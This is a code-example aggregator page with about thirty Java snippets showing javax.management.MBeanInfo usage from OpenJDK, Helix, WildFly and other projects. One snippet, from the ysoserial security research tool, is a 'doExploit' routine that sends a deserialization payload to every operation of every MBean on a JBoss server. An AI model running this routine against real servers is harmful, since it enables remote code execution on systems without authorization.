javax.management.MBeanInfo Java Examples

The following examples show how to use javax.management.MBeanInfo. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: TestTaskPerformanceMetrics.java    From helix with Apache License 2.0 6 votes vote down vote up
/**
 * Queries for all MBeans from the MBean Server and only looks at the relevant MBean and gets its
 * metric numbers.
 */
private void extractMetrics() {
  try {
    QueryExp exp = Query.match(Query.attr("SensorName"), Query.value(CLUSTER_NAME + ".Job.*"));
    Set<ObjectInstance> mbeans = new HashSet<>(
        ManagementFactory.getPlatformMBeanServer().queryMBeans(new ObjectName("ClusterStatus:*"), exp));
    for (ObjectInstance instance : mbeans) {
      ObjectName beanName = instance.getObjectName();
      if (instance.getClassName().endsWith("JobMonitor")) {
        MBeanInfo info = _server.getMBeanInfo(beanName);
        MBeanAttributeInfo[] infos = info.getAttributes();
        for (MBeanAttributeInfo infoItem : infos) {
          Object val = _server.getAttribute(beanName, infoItem.getName());
          _beanValueMap.put(infoItem.getName(), val);
        }
      }
    }
  } catch (Exception e) {
    // update failed
  }
}
 
Example #2
Source File: RMIConnector.java    From TencentKona-8 with GNU General Public License v2.0 6 votes vote down vote up
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
 
Example #3
Source File: MBeanCommand.java    From arthas with Apache License 2.0 6 votes vote down vote up
private void listMetaData(CommandProcess process) {
    Set<ObjectName> objectNames = queryObjectNames();
    MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
    try {
        TableElement table = createTable();
        for (ObjectName objectName : objectNames) {
            MBeanInfo mBeanInfo = mBeanServer.getMBeanInfo(objectName);
            drawMetaInfo(mBeanInfo, objectName, table);
            drawAttributeInfo(mBeanInfo.getAttributes(), table);
            drawOperationInfo(mBeanInfo.getOperations(), table);
            drawNotificationInfo(mBeanInfo.getNotifications(), table);
        }
        process.write(RenderUtil.render(table, process.width()));
    } catch (Throwable e) {
        logger.warn("listMetaData error", e);
    } finally {
        process.end();
    }
}
 
Example #4
Source File: ImmutableNotificationInfoTest.java    From jdk8u-jdk with GNU General Public License v2.0 6 votes vote down vote up
private static boolean test(Object mbean, boolean expectImmutable)
        throws Exception {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    ObjectName on = new ObjectName("a:b=c");
    mbs.registerMBean(mbean, on);
    MBeanInfo mbi = mbs.getMBeanInfo(on);
    Descriptor d = mbi.getDescriptor();
    String immutableValue = (String) d.getFieldValue("immutableInfo");
    boolean immutable = ("true".equals(immutableValue));
    if (immutable != expectImmutable) {
        System.out.println("FAILED: " + mbean.getClass().getName() +
                " -> " + immutableValue);
        return false;
    } else {
        System.out.println("OK: " + mbean.getClass().getName());
        return true;
    }
}
 
Example #5
Source File: MustBeValidCommand.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 6 votes vote down vote up
public static void main(String[] args) throws Exception {
    // Instantiate the MBean server
    //
    final MBeanAttributeInfo[]    atts   = makeAttInfos(attributes);
    final MBeanConstructorInfo[]  ctors  = makeCtorInfos(constructors);
    final MBeanOperationInfo[]    ops    = makeOpInfos(operations);
    final MBeanNotificationInfo[] notifs =
        makeNotifInfos(notificationclasses);

    for (int i=0; i<mbeanclasses.length;i++) {
        System.out.println("Create an MBeanInfo: " + mbeanclasses[i][0]);
        final MBeanInfo mbi =
            new MBeanInfo(mbeanclasses[i][1],mbeanclasses[i][0],
                          atts, ctors, ops, notifs);
    }

    // Test OK!
    //
    System.out.println("All MBeanInfo successfuly created!");
    System.out.println("Bye! Bye!");
}
 
Example #6
Source File: Server.java    From ironjacamar with Eclipse Public License 1.0 6 votes vote down vote up
/**
 * Invoke an operation
 * @param name The bean name
 * @param index The method index
 * @param args The arguments
 * @return The result
 * @exception JMException Thrown if an error occurs
 */
public static OpResultInfo invokeOp(String name, int index, String[] args) throws JMException
{
   MBeanServer server = getMBeanServer();
   ObjectName objName = new ObjectName(name);
   MBeanInfo info = server.getMBeanInfo(objName);
   MBeanOperationInfo[] opInfo = info.getOperations();
   MBeanOperationInfo op = opInfo[index];
   MBeanParameterInfo[] paramInfo = op.getSignature();
   String[] argTypes = new String[paramInfo.length];

   for (int p = 0; p < paramInfo.length; p++)
      argTypes[p] = paramInfo[p].getType();
 
   return invokeOpByName(name, op.getName(), argTypes, args);
}
 
Example #7
Source File: JmxUtil.java    From ankush with GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * Gets the attribute name value map.
 * 
 * @param objName
 *            the obj name
 * @return the attribute name value map
 */
public Map<String, Object> getAttributes(ObjectName objName) {
	Map<String, Object> attrMap = null;
	try {
		MBeanInfo mbeanInfo = mbeanServerConnection.getMBeanInfo(objName);
		MBeanAttributeInfo[] mbeanAttributeInfo = mbeanInfo.getAttributes();
		attrMap = new HashMap<String, Object>();
		DecimalFormat df = new DecimalFormat("###.##");
		for (int i = 0; i < mbeanAttributeInfo.length; i++) {
			String attrName = mbeanAttributeInfo[i].getName();
			Object attrValue = getAttribute(objName,
					mbeanAttributeInfo[i].getName());
			if (mbeanAttributeInfo[i].getType().equals("double")) {
				attrValue = df.format((Double) getAttribute(objName,
						mbeanAttributeInfo[i].getName()));
			}
			attrMap.put(attrName, attrValue);
		}
	} catch (Exception e) {
		LOGGER.error(e.getMessage(), e);
	}
	return attrMap;
}
 
Example #8
Source File: JmxManagementInterface.java    From wildfly-core with GNU Lesser General Public License v2.1 6 votes vote down vote up
private ModelNode getInfo(ObjectName objectName) {
    MBeanServerConnection connection = getConnection();
    ModelNode attributes = null;
    ModelNode headers = null;
    Exception exception = null;
    try {
        MBeanInfo mBeanInfo = connection.getMBeanInfo(objectName);
        MBeanAttributeInfo[] attributeInfos = mBeanInfo.getAttributes();
        ModelNode[] data = modelNodeAttributesInfo(attributeInfos, objectName);
        attributes = data[0];
        headers = data[1];
    } catch (Exception e) {
        if (e instanceof JMException || e instanceof JMRuntimeException) {
            exception = e;
        } else {
            throw new RuntimeException(e);
        }
    }
    return modelNodeResult(attributes, exception, headers);
}
 
Example #9
Source File: TestJMX.java    From dragonwell8_jdk with GNU General Public License v2.0 6 votes vote down vote up
private void registerAndVerifyMBean(MBeanServer mbs) {
    try {
        ObjectName myInfoObj = new ObjectName("com.alibaba.tenant.mxbean:type=MyTest");
        MXBeanImpl myMXBean = new MXBeanImpl();
        StandardMBean smb = new StandardMBean(myMXBean, MXBean.class);
        mbs.registerMBean(smb, myInfoObj);

        assertTrue(mbs.isRegistered(myInfoObj));

        //call the method of MXBean
        MXBean mbean =
                (MXBean)MBeanServerInvocationHandler.newProxyInstance(
                     mbs,new ObjectName("com.alibaba.tenant.mxbean:type=MyTest"), MXBean.class, true);
        assertTrue("test".equals(mbean.getName()));

        Set<ObjectInstance> instances = mbs.queryMBeans(new ObjectName("com.alibaba.tenant.mxbean:type=MyTest"), null);
        ObjectInstance instance = (ObjectInstance) instances.toArray()[0];
        assertTrue(myMXBean.getClass().getName().equals(instance.getClassName()));

        MBeanInfo info = mbs.getMBeanInfo(myInfoObj);
        assertTrue(myMXBean.getClass().getName().equals(info.getClassName()));
    } catch (Exception e) {
        e.printStackTrace();
        fail();
    }
}
 
Example #10
Source File: MBeanIntrospector.java    From openjdk-8 with GNU General Public License v2.0 6 votes vote down vote up
final PerInterface<M> getPerInterface(Class<?> mbeanInterface)
throws NotCompliantMBeanException {
    PerInterfaceMap<M> map = getPerInterfaceMap();
    synchronized (map) {
        WeakReference<PerInterface<M>> wr = map.get(mbeanInterface);
        PerInterface<M> pi = (wr == null) ? null : wr.get();
        if (pi == null) {
            try {
                MBeanAnalyzer<M> analyzer = getAnalyzer(mbeanInterface);
                MBeanInfo mbeanInfo =
                        makeInterfaceMBeanInfo(mbeanInterface, analyzer);
                pi = new PerInterface<M>(mbeanInterface, this, analyzer,
                        mbeanInfo);
                wr = new WeakReference<PerInterface<M>>(pi);
                map.put(mbeanInterface, wr);
            } catch (Exception x) {
                throw Introspector.throwException(mbeanInterface,x);
            }
        }
        return pi;
    }
}
 
Example #11
Source File: MustBeValidCommand.java    From TencentKona-8 with GNU General Public License v2.0 6 votes vote down vote up
public static void main(String[] args) throws Exception {
    // Instantiate the MBean server
    //
    final MBeanAttributeInfo[]    atts   = makeAttInfos(attributes);
    final MBeanConstructorInfo[]  ctors  = makeCtorInfos(constructors);
    final MBeanOperationInfo[]    ops    = makeOpInfos(operations);
    final MBeanNotificationInfo[] notifs =
        makeNotifInfos(notificationclasses);

    for (int i=0; i<mbeanclasses.length;i++) {
        System.out.println("Create an MBeanInfo: " + mbeanclasses[i][0]);
        final MBeanInfo mbi =
            new MBeanInfo(mbeanclasses[i][1],mbeanclasses[i][0],
                          atts, ctors, ops, notifs);
    }

    // Test OK!
    //
    System.out.println("All MBeanInfo successfuly created!");
    System.out.println("Bye! Bye!");
}
 
Example #12
Source File: ImmutableNotificationInfoTest.java    From openjdk-8-source with GNU General Public License v2.0 6 votes vote down vote up
private static boolean test(Object mbean, boolean expectImmutable)
        throws Exception {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    ObjectName on = new ObjectName("a:b=c");
    mbs.registerMBean(mbean, on);
    MBeanInfo mbi = mbs.getMBeanInfo(on);
    Descriptor d = mbi.getDescriptor();
    String immutableValue = (String) d.getFieldValue("immutableInfo");
    boolean immutable = ("true".equals(immutableValue));
    if (immutable != expectImmutable) {
        System.out.println("FAILED: " + mbean.getClass().getName() +
                " -> " + immutableValue);
        return false;
    } else {
        System.out.println("OK: " + mbean.getClass().getName());
        return true;
    }
}
 
Example #13
Source File: OldMBeanServerTest.java    From openjdk-8-source with GNU General Public License v2.0 6 votes vote down vote up
private static void printAttrs(
        MBeanServerConnection mbsc1, Class<? extends Exception> expectX)
throws Exception {
    Set<ObjectName> names = mbsc1.queryNames(null, null);
    for (ObjectName name : names) {
        System.out.println(name + ":");
        MBeanInfo mbi = mbsc1.getMBeanInfo(name);
        MBeanAttributeInfo[] mbais = mbi.getAttributes();
        for (MBeanAttributeInfo mbai : mbais) {
            String attr = mbai.getName();
            Object value;
            try {
                value = mbsc1.getAttribute(name, attr);
            } catch (Exception e) {
                if (expectX != null && expectX.isInstance(e))
                    value = "<" + e + ">";
                else
                    throw e;
            }
            String s = "  " + attr + " = " + value;
            if (s.length() > 80)
                s = s.substring(0, 77) + "...";
            System.out.println(s);
        }
    }
}
 
Example #14
Source File: CARBON15928JMXDisablingTest.java    From product-ei with Apache License 2.0 6 votes vote down vote up
private MBeanInfo testMBeanForDatasource() throws Exception {
    Map<String, String[]> env = new HashMap<>();
    String[] credentials = { "admin", "admin" };
    env.put(JMXConnector.CREDENTIALS, credentials);
    try {
        String url = "service:jmx:rmi://localhost:12311/jndi/rmi://localhost:11199/jmxrmi";
        JMXServiceURL jmxUrl = new JMXServiceURL(url);
        JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env);
        MBeanServerConnection mBeanServer = jmxConnector.getMBeanServerConnection();
        ObjectName mbeanObject = new ObjectName(dataSourceName + ",-1234:type=DataSource");
        MBeanInfo mBeanInfo = mBeanServer.getMBeanInfo(mbeanObject);
        return mBeanInfo;
    } catch (MalformedURLException | MalformedObjectNameException | IntrospectionException |
            ReflectionException e) {
        throw new AxisFault("Error while connecting to MBean Server " + e.getMessage(), e);
    }
}
 
Example #15
Source File: MBeanIntrospector.java    From dragonwell8_jdk with GNU General Public License v2.0 6 votes vote down vote up
/**
 * Return the MBeanInfo for the given resource, based on the given
 * per-interface data.
 */
final MBeanInfo getMBeanInfo(Object resource, PerInterface<M> perInterface) {
    MBeanInfo mbi =
            getClassMBeanInfo(resource.getClass(), perInterface);
    MBeanNotificationInfo[] notifs = findNotifications(resource);
    if (notifs == null || notifs.length == 0)
        return mbi;
    else {
        return new MBeanInfo(mbi.getClassName(),
                mbi.getDescription(),
                mbi.getAttributes(),
                mbi.getConstructors(),
                mbi.getOperations(),
                notifs,
                mbi.getDescriptor());
    }
}
 
Example #16
Source File: JmxBean.java    From spectator with Apache License 2.0 6 votes vote down vote up
@Override
public MBeanInfo getMBeanInfo() {
  MBeanAttributeInfo[] mbeanAttributes = new MBeanAttributeInfo[attributes.size()];
  int i = 0;
  for (Map.Entry<String, Object> entry : attributes.entrySet()) {
    String attrName = entry.getKey();
    Object attrValue = entry.getValue();
    String typeName = (attrValue instanceof Number)
        ? Number.class.getName()
        : String.class.getName();
    boolean isReadable = true;
    boolean isWritable = false;
    boolean isIs = false;
    mbeanAttributes[i++] = new MBeanAttributeInfo(
        attrName, typeName, "???", isReadable, isWritable, isIs);
  }
  return new MBeanInfo(getClass().getName(), "???", mbeanAttributes, null, null, null);
}
 
Example #17
Source File: MBeanIntrospector.java    From openjdk-jdk9 with GNU General Public License v2.0 6 votes vote down vote up
final PerInterface<M> getPerInterface(Class<?> mbeanInterface)
throws NotCompliantMBeanException {
    PerInterfaceMap<M> map = getPerInterfaceMap();
    synchronized (map) {
        WeakReference<PerInterface<M>> wr = map.get(mbeanInterface);
        PerInterface<M> pi = (wr == null) ? null : wr.get();
        if (pi == null) {
            try {
                MBeanAnalyzer<M> analyzer = getAnalyzer(mbeanInterface);
                MBeanInfo mbeanInfo =
                        makeInterfaceMBeanInfo(mbeanInterface, analyzer);
                pi = new PerInterface<M>(mbeanInterface, this, analyzer,
                        mbeanInfo);
                wr = new WeakReference<PerInterface<M>>(pi);
                map.put(mbeanInterface, wr);
            } catch (Exception x) {
                throw Introspector.throwException(mbeanInterface,x);
            }
        }
        return pi;
    }
}
 
Example #18
Source File: MBeanIntrospector.java    From jdk8u60 with GNU General Public License v2.0 6 votes vote down vote up
final PerInterface<M> getPerInterface(Class<?> mbeanInterface)
throws NotCompliantMBeanException {
    PerInterfaceMap<M> map = getPerInterfaceMap();
    synchronized (map) {
        WeakReference<PerInterface<M>> wr = map.get(mbeanInterface);
        PerInterface<M> pi = (wr == null) ? null : wr.get();
        if (pi == null) {
            try {
                MBeanAnalyzer<M> analyzer = getAnalyzer(mbeanInterface);
                MBeanInfo mbeanInfo =
                        makeInterfaceMBeanInfo(mbeanInterface, analyzer);
                pi = new PerInterface<M>(mbeanInterface, this, analyzer,
                        mbeanInfo);
                wr = new WeakReference<PerInterface<M>>(pi);
                map.put(mbeanInterface, wr);
            } catch (Exception x) {
                throw Introspector.throwException(mbeanInterface,x);
            }
        }
        return pi;
    }
}
 
Example #19
Source File: MBeanIntrospector.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Make the MBeanInfo skeleton for the given MBean interface using
 * the given analyzer.  This will never be the MBeanInfo of any real
 * MBean (because the getClassName() must be a concrete class), but
 * its MBeanAttributeInfo[] and MBeanOperationInfo[] can be inserted
 * into such an MBeanInfo, and its Descriptor can be the basis for
 * the MBeanInfo's Descriptor.
 */
private MBeanInfo makeInterfaceMBeanInfo(Class<?> mbeanInterface,
        MBeanAnalyzer<M> analyzer) {
    final MBeanInfoMaker maker = new MBeanInfoMaker();
    analyzer.visit(maker);
    final String description =
            "Information on the management interface of the MBean";
    return maker.makeMBeanInfo(mbeanInterface, description);
}
 
Example #20
Source File: MXBeanInteropTest1.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 5 votes vote down vote up
private final int doMemoryMXBeanTest(MBeanServerConnection mbsc) {
    int errorCount = 0 ;
    System.out.println("---- MemoryMXBean") ;

    try {
        ObjectName memoryName =
                new ObjectName(ManagementFactory.MEMORY_MXBEAN_NAME) ;
        MBeanInfo mbInfo = mbsc.getMBeanInfo(memoryName);
        errorCount += checkNonEmpty(mbInfo);
        System.out.println("getMBeanInfo\t\t"
                + mbInfo);
        MemoryMXBean memory = null ;

        memory =
                JMX.newMXBeanProxy(mbsc,
                memoryName,
                MemoryMXBean.class,
                true) ;
        System.out.println("getMemoryHeapUsage\t\t"
                + memory.getHeapMemoryUsage());
        System.out.println("getNonHeapMemoryHeapUsage\t\t"
                + memory.getNonHeapMemoryUsage());
        System.out.println("getObjectPendingFinalizationCount\t\t"
                + memory.getObjectPendingFinalizationCount());
        System.out.println("isVerbose\t\t"
                + memory.isVerbose());

        System.out.println("---- OK\n") ;

    } catch (Exception e) {
        Utils.printThrowable(e, true) ;
        errorCount++ ;
        System.out.println("---- ERROR\n") ;
    }

    return errorCount ;
}
 
Example #21
Source File: MBeanIntrospector.java    From hottub with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Make the MBeanInfo skeleton for the given MBean interface using
 * the given analyzer.  This will never be the MBeanInfo of any real
 * MBean (because the getClassName() must be a concrete class), but
 * its MBeanAttributeInfo[] and MBeanOperationInfo[] can be inserted
 * into such an MBeanInfo, and its Descriptor can be the basis for
 * the MBeanInfo's Descriptor.
 */
private MBeanInfo makeInterfaceMBeanInfo(Class<?> mbeanInterface,
        MBeanAnalyzer<M> analyzer) {
    final MBeanInfoMaker maker = new MBeanInfoMaker();
    analyzer.visit(maker);
    final String description =
            "Information on the management interface of the MBean";
    return maker.makeMBeanInfo(mbeanInterface, description);
}
 
Example #22
Source File: MBeanServerDelegateImpl.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 5 votes vote down vote up
public MBeanServerDelegateImpl () {
    super();
    delegateInfo =
        new MBeanInfo("javax.management.MBeanServerDelegate",
                      "Represents  the MBean server from the management "+
                      "point of view.",
                      MBeanServerDelegateImpl.attributeInfos, null,
                      null,getNotificationInfo());
}
 
Example #23
Source File: AnnotationTest.java    From jdk8u60 with GNU General Public License v2.0 5 votes vote down vote up
private static void check(MBeanServer mbs, ObjectName on) throws Exception {
    MBeanInfo mbi = mbs.getMBeanInfo(on);

    // check the MBean itself
    check(mbi);

    // check attributes
    MBeanAttributeInfo[] attrs = mbi.getAttributes();
    for (MBeanAttributeInfo attr : attrs) {
        check(attr);
        if (attr.getName().equals("ReadOnly"))
            check("@Full", attr.getDescriptor(), expectedFullDescriptor);
    }

    // check operations
    MBeanOperationInfo[] ops = mbi.getOperations();
    for (MBeanOperationInfo op : ops) {
        check(op);
        check(op.getSignature());
    }

    MBeanConstructorInfo[] constrs = mbi.getConstructors();
    for (MBeanConstructorInfo constr : constrs) {
        check(constr);
        check(constr.getSignature());
    }
}
 
Example #24
Source File: AbstractJavaEEIntegrationTest.java    From flexy-pool with Apache License 2.0 5 votes vote down vote up
private MBeanInfo connectionLeaseMillisMBean() {
    try {
        ObjectName objectName = new ObjectName("com.vladmihalcea.flexypool.metric.dropwizard.JmxMetricReporter.unique-name:name=connectionLeaseMillis");
        return ManagementFactory.getPlatformMBeanServer().getMBeanInfo(objectName);
    } catch (Exception e) {
        throw new IllegalArgumentException(e);
    }
}
 
Example #25
Source File: MBeanExceptionTest.java    From openjdk-jdk9 with GNU General Public License v2.0 5 votes vote down vote up
public MBeanInfo getMBeanInfo() {
    try {
        return new StandardMBean(new Except(), ExceptMBean.class)
            .getMBeanInfo();
    } catch (Exception e) {
        assert false;
        return null;
    }
}
 
Example #26
Source File: JBoss.java    From ysoserial with MIT License 5 votes vote down vote up
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
Example #27
Source File: TestDynamicMBean.java    From spring-analysis-note with MIT License 5 votes vote down vote up
@Override
public MBeanInfo getMBeanInfo() {
	MBeanAttributeInfo attr = new MBeanAttributeInfo("name", "java.lang.String", "", true, false, false);
	return new MBeanInfo(
			TestDynamicMBean.class.getName(), "",
			new MBeanAttributeInfo[]{attr},
			new MBeanConstructorInfo[0],
			new MBeanOperationInfo[0],
			new MBeanNotificationInfo[0]);
}
 
Example #28
Source File: MXBeanInteropTest1.java    From dragonwell8_jdk with GNU General Public License v2.0 5 votes vote down vote up
private final int doOperatingSystemMXBeanTest(MBeanServerConnection mbsc) {
    int errorCount = 0 ;
    System.out.println("---- OperatingSystemMXBean") ;

    try {
        ObjectName operationName =
                new ObjectName(ManagementFactory.OPERATING_SYSTEM_MXBEAN_NAME) ;
        MBeanInfo mbInfo = mbsc.getMBeanInfo(operationName);
        errorCount += checkNonEmpty(mbInfo);
        System.out.println("getMBeanInfo\t\t" + mbInfo);
        OperatingSystemMXBean operation = null ;

        operation =
                JMX.newMXBeanProxy(mbsc,
                operationName,
                OperatingSystemMXBean.class) ;
        System.out.println("getArch\t\t"
                + operation.getArch());
        System.out.println("getAvailableProcessors\t\t"
                + operation.getAvailableProcessors());
        System.out.println("getName\t\t"
                + operation.getName());
        System.out.println("getVersion\t\t"
                + operation.getVersion());

        System.out.println("---- OK\n") ;
    } catch (Exception e) {
        Utils.printThrowable(e, true) ;
        errorCount++ ;
        System.out.println("---- ERROR\n") ;
    }

    return errorCount ;
}
 
Example #29
Source File: DcmdMBeanTest.java    From hottub with GNU General Public License v2.0 5 votes vote down vote up
public static void main(String[] args) throws Exception {
    System.out.println("--->JRCMD MBean Test: invocation on \"operation info\"...");

    MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
    JMXServiceURL url = new JMXServiceURL("rmi", null, 0);
    JMXConnectorServer cs = null;
    JMXConnector cc = null;
    try {
        cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
        cs.start();
        JMXServiceURL addr = cs.getAddress();
        cc = JMXConnectorFactory.connect(addr);
        MBeanServerConnection mbsc = cc.getMBeanServerConnection();
        ObjectName name = new ObjectName(HOTSPOT_DIAGNOSTIC_MXBEAN_NAME);
        MBeanInfo info = mbsc.getMBeanInfo(name);

        // the test should check that the MBean doesn't have any
        // Attribute, notification or constructor. Current version only
        // check operations
        System.out.println("Class Name:" + info.getClassName());
        System.out.println("Description:" + info.getDescription());
        MBeanOperationInfo[] opInfo = info.getOperations();
        System.out.println("Operations:");
        for (int i = 0; i < opInfo.length; i++) {
            printOperation(opInfo[i]);
            System.out.println("\n@@@@@@\n");
        }
    } finally {
        try {
            cc.close();
            cs.stop();
        } catch (Exception e) {
        }
    }

    System.out.println("Test passed");
}
 
Example #30
Source File: MXBeanInteropTest1.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 5 votes vote down vote up
private final int doGarbageCollectorMXBeanTest(MBeanServerConnection mbsc) {
    int errorCount = 0 ;
    System.out.println("---- GarbageCollectorMXBean") ;

    try {
        ObjectName filterName =
                new ObjectName(ManagementFactory.GARBAGE_COLLECTOR_MXBEAN_DOMAIN_TYPE
                + ",*");
        Set<ObjectName> onSet = mbsc.queryNames(filterName, null);

        for (Iterator<ObjectName> iter = onSet.iterator(); iter.hasNext(); ) {
            ObjectName garbageName = iter.next() ;
            System.out.println("-------- " + garbageName) ;
            MBeanInfo mbInfo = mbsc.getMBeanInfo(garbageName);
            errorCount += checkNonEmpty(mbInfo);
            System.out.println("getMBeanInfo\t\t" + mbInfo);
            GarbageCollectorMXBean garbage = null ;

            garbage =
                    JMX.newMXBeanProxy(mbsc,
                    garbageName,
                    GarbageCollectorMXBean.class) ;
            System.out.println("getCollectionCount\t\t"
                    + garbage.getCollectionCount());
            System.out.println("getCollectionTime\t\t"
                    + garbage.getCollectionTime());
        }

        System.out.println("---- OK\n") ;
    } catch (Exception e) {
        Utils.printThrowable(e, true) ;
        errorCount++ ;
        System.out.println("---- ERROR\n") ;
    }

    return errorCount ;
}